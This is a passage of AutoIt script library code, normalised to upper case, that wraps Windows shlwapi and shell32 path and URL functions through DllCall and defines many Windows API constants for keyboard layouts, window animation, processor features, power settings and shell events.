RETURN _WINAPI_GETSTRING ($ARET [0 ] )
ENDFUNC
FUNC _WINAPI_PATHGETCHARTYPE ($SCHAR )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "uint" , "PathGetCharTypeW" , "word" , ASCW ($SCHAR ) )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHGETDRIVENUMBER ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "PathGetDriveNumberW" , "wstr" , $SFILEPATH )
IF @ERROR OR ($ARET [0 ] = + 4294967295 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN CHR ($ARET [0 ] + 65 ) & ":"
ENDFUNC
FUNC _WINAPI_PATHISCONTENTTYPE ($SFILEPATH , $STYPE )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsContentTypeW" , "wstr" , $SFILEPATH , "wstr" , $STYPE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISEXE ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "PathIsExe" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISFILESPEC ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsFileSpecW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISLFNFILESPEC ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsLFNFileSpecW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISRELATIVE ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsRelativeW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISROOT ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsRootW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISSAMEROOT ($SPATH1 , $SPATH2 )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsSameRootW" , "wstr" , $SPATH1 , "wstr" , $SPATH2 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISSYSTEMFOLDER ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsSystemFolderW" , "wstr" , $SFILEPATH , "dword" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISUNC ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsUNCW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISUNCSERVER ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsUNCServerW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHISUNCSERVERSHARE ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsUNCServerShareW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHMAKESYSTEMFOLDER ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathMakeSystemFolderW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHMATCHSPEC ($SFILEPATH , $SSPEC )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathMatchSpecW" , "wstr" , $SFILEPATH , "wstr" , $SSPEC )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHPARSEICONLOCATION ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "PathParseIconLocationW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
LOCAL $ARESULT [2 ]
$ARESULT [0 ] = $ARET [1 ]
$ARESULT [1 ] = $ARET [0 ]
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_PATHRELATIVEPATHTO ($SPATHFROM , $BDIRFROM , $SPATHTO , $BDIRTO )
IF $BDIRFROM THEN
$BDIRFROM = 16
ENDIF
IF $BDIRTO THEN
$BDIRTO = 16
ENDIF
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathRelativePathToW" , "wstr" , "" , "wstr" , $SPATHFROM , "dword" , $BDIRFROM , "wstr" , $SPATHTO , "dword" , $BDIRTO )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHREMOVEARGS ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathRemoveArgsW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHREMOVEBACKSLASH ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathRemoveBackslashW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHREMOVEEXTENSION ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathRemoveExtensionW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHREMOVEFILESPEC ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathRemoveFileSpecW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN SETEXTENDED ($ARET [0 ] , $ARET [1 ] )
ENDFUNC
FUNC _WINAPI_PATHRENAMEEXTENSION ($SFILEPATH , $SEXT )
LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[260]" )
DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathRenameExtensionW" , "struct*" , $TPATH , "wstr" , $SEXT )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN DLLSTRUCTGETDATA ($TPATH , 1 )
ENDFUNC
FUNC _WINAPI_PATHSEARCHANDQUALIFY ($SFILEPATH , $BEXISTS = FALSE )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathSearchAndQualifyW" , "wstr" , $SFILEPATH , "wstr" , "" , "int" , 4096 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" )
IF $BEXISTS AND NOT FILEEXISTS ($ARET [2 ] ) THEN RETURN SETERROR (20 , 0 , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_PATHSKIPROOT ($SFILEPATH )
LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($SFILEPATH ) + 1 ) & "]" )
DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathSkipRootW" , "struct*" , $TPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF NOT $ARET [0 ] THEN RETURN $SFILEPATH
RETURN _WINAPI_GETSTRING ($ARET [0 ] )
ENDFUNC
FUNC _WINAPI_PATHSTRIPPATH ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathStripPathW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHSTRIPTOROOT ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathStripToRootW" , "wstr" , $SFILEPATH )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHUNDECORATE ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathUndecorateW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHUNEXPANDENVSTRINGS ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathUnExpandEnvStringsW" , "wstr" , $SFILEPATH , "wstr" , "" , "uint" , 4096 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_PATHUNMAKESYSTEMFOLDER ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathUnmakeSystemFolderW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_PATHUNQUOTESPACES ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathUnquoteSpacesW" , "wstr" , $SFILEPATH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_PATHYETANOTHERMAKEUNIQUENAME ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "PathYetAnotherMakeUniqueName" , "wstr" , "" , "wstr" , $SFILEPATH , "ptr" , 0 , "ptr" , 0 )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
RETURN $ARET [1 ]
ENDFUNC
FUNC _WINAPI_SHELLGETIMAGELIST ($BSMALL = FALSE )
LOCAL $PLARGE , $PSMALL , $TPTR = DLLSTRUCTCREATE ("ptr" )
IF $BSMALL THEN
$PLARGE = 0
$PSMALL = DLLSTRUCTGETPTR ($TPTR )
ELSE
$PLARGE = DLLSTRUCTGETPTR ($TPTR )
$PSMALL = 0
ENDIF
LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "Shell_GetImageLists" , "ptr" , $PLARGE , "ptr" , $PSMALL )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN DLLSTRUCTGETDATA ($TPTR , 1 )
ENDFUNC
FUNC _WINAPI_URLAPPLYSCHEME ($SURL , $IFLAGS = 1 )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlApplySchemeW" , "wstr" , $SURL , "wstr" , "" , "dword*" , 4096 , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_URLCANONICALIZE ($SURL , $IFLAGS )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlCanonicalizeW" , "wstr" , $SURL , "wstr" , "" , "dword*" , 4096 , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_URLCOMBINE ($SURL , $SPART , $IFLAGS = 0 )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlCombineW" , "wstr" , $SURL , "wstr" , $SPART , "wstr" , "" , "dword*" , 4096 , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" )
RETURN $ARET [3 ]
ENDFUNC
FUNC _WINAPI_URLCOMPARE ($SURL1 , $SURL2 , $BIGNORESLASH = FALSE )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "UrlCompareW" , "wstr" , $SURL1 , "wstr" , $SURL2 , "bool" , $BIGNORESLASH )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_URLCREATEFROMPATH ($SFILEPATH )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlCreateFromPathW" , "wstr" , $SFILEPATH , "wstr" , "" , "dword*" , 4096 , "dword" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] < 0 OR $ARET [0 ] > 1 THEN
RETURN SETERROR (10 , $ARET [0 ] , "" )
ENDIF
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_URLFIXUP ($SURL )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlFixupW" , "wstr" , $SURL , "wstr" , "" , "dword" , 4096 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_URLGETPART ($SURL , $IPART )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlGetPartW" , "wstr" , $SURL , "wstr" , "" , "dword*" , 4096 , "dword" , $IPART , "dword" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" )
RETURN $ARET [2 ]
ENDFUNC
FUNC _WINAPI_URLHASH ($SURL , $ILENGTH = 32 )
IF $ILENGTH <= 0 OR $ILENGTH > 256 THEN RETURN SETERROR (256 , 0 , 0 )
LOCAL $TDATA = DLLSTRUCTCREATE ("byte[" & $ILENGTH & "]" )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlHashW" , "wstr" , $SURL , "struct*" , $TDATA , "dword" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN DLLSTRUCTGETDATA ($TDATA , 1 )
ENDFUNC
FUNC _WINAPI_URLIS ($SURL , $ITYPE = 0 )
LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "UrlIsW" , "wstr" , $SURL , "uint" , $ITYPE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
#EndRegion Public Functions
#Region Internal Functions
FUNC __US ($SSTRING , $ILENGTH = 0 )
IF $ILENGTH THEN
$SSTRING = STRINGLEFT ($SSTRING , $ILENGTH )
ELSE
$ILENGTH = STRINGLEN ($SSTRING )
ENDIF
LOCAL $TUS = DLLSTRUCTCREATE ("ushort;ushort;ptr;wchar[" & ($ILENGTH + 1 ) & "]" )
DLLSTRUCTSETDATA ($TUS , 1 , 2 * STRINGLEN ($SSTRING ) )
DLLSTRUCTSETDATA ($TUS , 2 , 2 * $ILENGTH )
DLLSTRUCTSETDATA ($TUS , 3 , DLLSTRUCTGETPTR ($TUS , 4 ) )
DLLSTRUCTSETDATA ($TUS , 4 , $SSTRING )
RETURN $TUS
ENDFUNC
#EndRegion Internal Functions
GLOBAL CONST $KLF_ACTIVATE = 1
GLOBAL CONST $KLF_NOTELLSHELL = 128
GLOBAL CONST $KLF_REORDER = 8
GLOBAL CONST $KLF_REPLACELANG = 16
GLOBAL CONST $KLF_RESET = 1073741824
GLOBAL CONST $KLF_SETFORPROCESS = 256
GLOBAL CONST $KLF_SHIFTLOCK = 65536
GLOBAL CONST $KLF_SUBSTITUTE_OK = 2
GLOBAL CONST $HKL_NEXT = 1
GLOBAL CONST $HKL_PREV = 0
GLOBAL CONST $AW_ACTIVATE = 131072
GLOBAL CONST $AW_BLEND = 524288
GLOBAL CONST $AW_CENTER = 16
GLOBAL CONST $AW_HIDE = 65536
GLOBAL CONST $AW_HOR_NEGATIVE = 2
GLOBAL CONST $AW_HOR_POSITIVE = 1
GLOBAL CONST $AW_SLIDE = 262144
GLOBAL CONST $AW_VER_NEGATIVE = 8
GLOBAL CONST $AW_VER_POSITIVE = 4
GLOBAL CONST $BSF_ALLOWSFW = 128
GLOBAL CONST $BSF_FLUSHDISK = 4
GLOBAL CONST $BSF_FORCEIFHUNG = 32
GLOBAL CONST $BSF_IGNORECURRENTTASK = 2
GLOBAL CONST $BSF_NOHANG = 8
GLOBAL CONST $BSF_NOTIMEOUTIFNOTHUNG = 64
GLOBAL CONST $BSF_POSTMESSAGE = 16
GLOBAL CONST $BSF_QUERY = 1
GLOBAL CONST $BSF_SENDNOTIFYMESSAGE = 256
GLOBAL CONST $BSM_ALLCOMPONENTS = 0
GLOBAL CONST $BSM_ALLDESKTOPS = 8
GLOBAL CONST $BSM_APPLICATIONS = 16
GLOBAL CONST $BSM_INSTALLABLEDRIVERS = 4
GLOBAL CONST $BSM_NETDRIVER = 2
GLOBAL CONST $BSM_VXDS = 1
GLOBAL CONST $MDITILE_HORIZONTAL = 1
GLOBAL CONST $MDITILE_SKIPDISABLED = 2
GLOBAL CONST $MDITILE_VERTICAL = 0
GLOBAL CONST $MDITILE_ZORDER = 4
GLOBAL CONST $MSGFLT_ALLOW = 1
GLOBAL CONST $MSGFLT_DISALLOW = 2
GLOBAL CONST $MSGFLT_RESET = 0
GLOBAL CONST $MSGFLTINFO_ALLOWED_HIGHER = 3
GLOBAL CONST $MSGFLTINFO_ALREADYALLOWED_FORWND = 1
GLOBAL CONST $MSGFLTINFO_ALREADYDISALLOWED_FORWND = 2
GLOBAL CONST $MSGFLTINFO_NONE = 0
GLOBAL CONST $CWP_ALL = 0
GLOBAL CONST $CWP_SKIPINVISIBLE = 1
GLOBAL CONST $CWP_SKIPDISABLED = 2
GLOBAL CONST $CWP_SKIPTRANSPARENT = 4
GLOBAL CONST $COMPRESSION_FORMAT_NONE = 0
GLOBAL CONST $COMPRESSION_FORMAT_DEFAULT = 1
GLOBAL CONST $COMPRESSION_FORMAT_LZNT1 = 2
GLOBAL CONST $COMPRESSION_FORMAT_XPRESS = 3
GLOBAL CONST $COMPRESSION_FORMAT_XPRESS_HUFF = 4
GLOBAL CONST $COMPRESSION_ENGINE_STANDARD = 0
GLOBAL CONST $COMPRESSION_ENGINE_MAXIMUM = 256
GLOBAL CONST $COMPRESSION_ENGINE_HIBER = 512
GLOBAL CONST $WINSTA_ACCESSCLIPBOARD = 4
GLOBAL CONST $WINSTA_ACCESSGLOBALATOMS = 32
GLOBAL CONST $WINSTA_CREATEDESKTOP = 8
GLOBAL CONST $WINSTA_ENUMDESKTOPS = 1
GLOBAL CONST $WINSTA_ENUMERATE = 256
GLOBAL CONST $WINSTA_EXITWINDOWS = 64
GLOBAL CONST $WINSTA_READATTRIBUTES = 2
GLOBAL CONST $WINSTA_READSCREEN = 512
GLOBAL CONST $WINSTA_WRITEATTRIBUTES = 16
GLOBAL CONST $WINSTA_ALL_ACCESS = BITOR ($WINSTA_ACCESSCLIPBOARD , $WINSTA_ACCESSGLOBALATOMS , $WINSTA_CREATEDESKTOP , $WINSTA_ENUMDESKTOPS , $WINSTA_ENUMERATE , $WINSTA_EXITWINDOWS , $WINSTA_READATTRIBUTES , $WINSTA_READSCREEN , $WINSTA_WRITEATTRIBUTES )
GLOBAL CONST $CWF_CREATE_ONLY = 1
GLOBAL CONST $GCL_CBCLSEXTRA = + 4294967276
GLOBAL CONST $GCL_CBWNDEXTRA = + 4294967278
GLOBAL CONST $GCL_HBRBACKGROUND = + 4294967286
GLOBAL CONST $GCL_HCURSOR = + 4294967284
GLOBAL CONST $GCL_HICON = + 4294967282
GLOBAL CONST $GCL_HICONSM = + 4294967262
GLOBAL CONST $GCL_HMODULE = + 4294967280
GLOBAL CONST $GCL_MENUNAME = + 4294967288
GLOBAL CONST $GCL_STYLE = + 4294967270
GLOBAL CONST $GCL_WNDPROC = + 4294967272
GLOBAL CONST $DOCKINFO_DOCKED = 2
GLOBAL CONST $DOCKINFO_UNDOCKED = 1
GLOBAL CONST $DOCKINFO_USER_SUPPLIED = 4
GLOBAL CONST $DOCKINFO_USER_DOCKED = 5
GLOBAL CONST $DOCKINFO_USER_UNDOCKED = 6
GLOBAL CONST $GUI_CARETBLINKING = 1
GLOBAL CONST $GUI_INMENUMODE = 4
GLOBAL CONST $GUI_INMOVESIZE = 2
GLOBAL CONST $GUI_POPUPMENUMODE = 16
GLOBAL CONST $GUI_SYSTEMMENUMODE = 8
GLOBAL CONST $HANDLE_FLAG_INHERIT = 1
GLOBAL CONST $HANDLE_FLAG_PROTECT_FROM_CLOSE = 2
GLOBAL CONST $GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS = 4
GLOBAL CONST $GET_MODULE_HANDLE_EX_FLAG_PIN = 1
GLOBAL CONST $GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT = 2
GLOBAL CONST $GET_MODULE_HANDLE_EX_FLAG_DEFAULT = 0
GLOBAL CONST $PROCESSOR_ARCHITECTURE_AMD64 = 9
GLOBAL CONST $PROCESSOR_ARCHITECTURE_IA64 = 6
GLOBAL CONST $PROCESSOR_ARCHITECTURE_INTEL = 0
GLOBAL CONST $PROCESSOR_ARCHITECTURE_UNKNOWN = 65535
GLOBAL CONST $PROCESSOR_INTEL_386 = 386
GLOBAL CONST $PROCESSOR_INTEL_486 = 486
GLOBAL CONST $PROCESSOR_INTEL_PENTIUM = 586
GLOBAL CONST $PROCESSOR_INTEL_IA64 = 2200
GLOBAL CONST $PROCESSOR_AMD_X8664 = 8664
GLOBAL CONST $UOI_FLAGS = 1
GLOBAL CONST $UOI_HEAPSIZE = 5
GLOBAL CONST $UOI_IO = 6
GLOBAL CONST $UOI_NAME = 2
GLOBAL CONST $UOI_TYPE = 3
GLOBAL CONST $UOI_USER_SID = 4
GLOBAL CONST $DF_ALLOWOTHERACCOUNTHOOK = 1
GLOBAL CONST $WSF_VISIBLE = 1
GLOBAL CONST $VER_SUITE_BACKOFFICE = 4
GLOBAL CONST $VER_SUITE_BLADE = 1024
GLOBAL CONST $VER_SUITE_COMPUTE_SERVER = 16384
GLOBAL CONST $VER_SUITE_DATACENTER = 128
GLOBAL CONST $VER_SUITE_ENTERPRISE = 2
GLOBAL CONST $VER_SUITE_EMBEDDEDNT = 64
GLOBAL CONST $VER_SUITE_PERSONAL = 512
GLOBAL CONST $VER_SUITE_SINGLEUSERTS = 256
GLOBAL CONST $VER_SUITE_SMALLBUSINESS = 1
GLOBAL CONST $VER_SUITE_SMALLBUSINESS_RESTRICTED = 32
GLOBAL CONST $VER_SUITE_STORAGE_SERVER = 8192
GLOBAL CONST $VER_SUITE_TERMINAL = 16
GLOBAL CONST $VER_SUITE_WH_SERVER = 32768
GLOBAL CONST $VER_NT_DOMAIN_CONTROLLER = 2
GLOBAL CONST $VER_NT_SERVER = 3
GLOBAL CONST $VER_NT_WORKSTATION = 1
GLOBAL CONST $WDA_MONITOR = 1
GLOBAL CONST $WDA_NONE = 0
GLOBAL CONST $PF_3DNOW_INSTRUCTIONS_AVAILABLE = 7
GLOBAL CONST $PF_CHANNELS_ENABLED = 16
GLOBAL CONST $PF_COMPARE_EXCHANGE_DOUBLE = 2
GLOBAL CONST $PF_COMPARE_EXCHANGE128 = 14
GLOBAL CONST $PF_COMPARE64_EXCHANGE128 = 15
GLOBAL CONST $PF_FLOATING_POINT_EMULATED = 1
GLOBAL CONST $PF_FLOATING_POINT_PRECISION_ERRATA = 0
GLOBAL CONST $PF_MMX_INSTRUCTIONS_AVAILABLE = 3
GLOBAL CONST $PF_NX_ENABLED = 12
GLOBAL CONST $PF_PAE_ENABLED = 9
GLOBAL CONST $PF_RDTSC_INSTRUCTION_AVAILABLE = 8
GLOBAL CONST $PF_SSE3_INSTRUCTIONS_AVAILABLE = 13
GLOBAL CONST $PF_XMMI_INSTRUCTIONS_AVAILABLE = 6
GLOBAL CONST $PF_XMMI64_INSTRUCTIONS_AVAILABLE = 10
GLOBAL CONST $PF_XSAVE_ENABLED = 17
GLOBAL CONST $KEYEVENTF_EXTENDEDKEY = 1
GLOBAL CONST $KEYEVENTF_KEYUP = 2
GLOBAL CONST $LIM_SMALL = 0
GLOBAL CONST $LIM_LARGE = 1
GLOBAL CONST $MAPVK_VK_TO_CHAR = 2
GLOBAL CONST $MAPVK_VK_TO_VSC = 0
GLOBAL CONST $MAPVK_VK_TO_VSC_EX = 4
GLOBAL CONST $MAPVK_VSC_TO_VK = 1
GLOBAL CONST $MAPVK_VSC_TO_VK_EX = 3
GLOBAL CONST $MOD_ALT = 1
GLOBAL CONST $MOD_CONTROL = 2
GLOBAL CONST $MOD_NOREPEAT = 16384
GLOBAL CONST $MOD_SHIFT = 4
GLOBAL CONST $MOD_WIN = 8
GLOBAL CONST $GUID_ACDC_POWER_SOURCE = "{5D3E9A59-E9D5-4B00-A6BD-FF34FF516548}"
GLOBAL CONST $GUID_BATTERY_PERCENTAGE_REMAINING = "{A7AD8041-B45A-4CAE-87A3-EECBB468A9E1}"
GLOBAL CONST $GUID_IDLE_BACKGROUND_TASK = "{515C31D8-F734-163D-A0FD-11A08C91E8F1}"
GLOBAL CONST $GUID_MONITOR_POWER_ON = "{02731015-4510-4526-99E6-E5A17EBD1AEA}"
GLOBAL CONST $GUID_POWERSCHEME_PERSONALITY = "{245D8541-3943-4422-B025-13A784F679B7}"
GLOBAL CONST $GUID_SYSTEM_AWAYMODE = "{98A7F580-01F7-48AA-9C0F-44352C29E5C0}"
GLOBAL CONST $GUID_MIN_POWER_SAVINGS = "{8C5E7FDA-E8BF-4A96-9A85-A6E23A8C635C}"
GLOBAL CONST $GUID_MAX_POWER_SAVINGS = "{A1841308-3541-4FAB-BC81-F71556F20B4A}"
GLOBAL CONST $GUID_TYPICAL_POWER_SAVINGS = "{381B4222-F694-41F0-9685-FF5BB260DF2E}"
GLOBAL CONST $HSHELL_WINDOWCREATED = 1
GLOBAL CONST $HSHELL_WINDOWDESTROYED = 2
GLOBAL CONST $HSHELL_ACTIVATESHELLWINDOW = 3
GLOBAL CONST $HSHELL_WINDOWACTIVATED = 4
GLOBAL CONST $HSHELL_GETMINRECT = 5
GLOBAL CONST $HSHELL_REDRAW = 6
GLOBAL CONST $HSHELL_TASKMAN = 7
GLOBAL CONST $HSHELL_LANGUAGE = 8
GLOBAL CONST $HSHELL_SYSMENU = 9
GLOBAL CONST $HSHELL_ENDTASK = 10
GLOBAL CONST $HSHELL_ACCESSIBILITYSTATE = 11
GLOBAL CONST $HSHELL_APPCOMMAND = 12
GLOBAL CONST $HSHELL_WINDOWREPLACED = 13
GLOBAL CONST $HSHELL_WINDOWREPLACING = 14
GLOBAL CONST $HSHELL_RUDEAPPACTIVATED = 32772
GLOBAL CONST $HSHELL_FLASH = 32774
GLOBAL CONST $HWND_BROADCAST = 65535
GLOBAL CONST $SMTO_BLOCK = 1
GLOBAL CONST $SMTO_NORMAL = 0
GLOBAL CONST $SMTO_ABORTIFHUNG = 2
GLOBAL CONST $SMTO_NOTIMEOUTIFNOTHUNG = 8
GLOBAL CONST $SMTO_ERRORONEXIT = 32
GLOBAL CONST $INPUTLANGCHANGE_BACKWARD = 4
GLOBAL CONST $INPUTLANGCHANGE_FORWARD = 2
GLOBAL CONST $INPUTLANGCHANGE_SYSCHARSET = 1
GLOBAL CONST $EVENT_MIN = 1
GLOBAL CONST $EVENT_SYSTEM_SOUND = 1
GLOBAL CONST $EVENT_SYSTEM_ALERT = 2
GLOBAL CONST $EVENT_SYSTEM_FOREGROUND = 3
GLOBAL CONST $EVENT_SYSTEM_MENUSTART = 4
GLOBAL CONST $EVENT_SYSTEM_MENUEND = 5
GLOBAL CONST $EVENT_SYSTEM_MENUPOPUPSTART = 6
GLOBAL CONST $EVENT_SYSTEM_MENUPOPUPEND = 7
GLOBAL CONST $EVENT_SYSTEM_CAPTURESTART = 8
GLOBAL CONST $EVENT_SYSTEM_CAPTUREEND = 9
GLOBAL CONST $EVENT_SYSTEM_MOVESIZESTART = 10
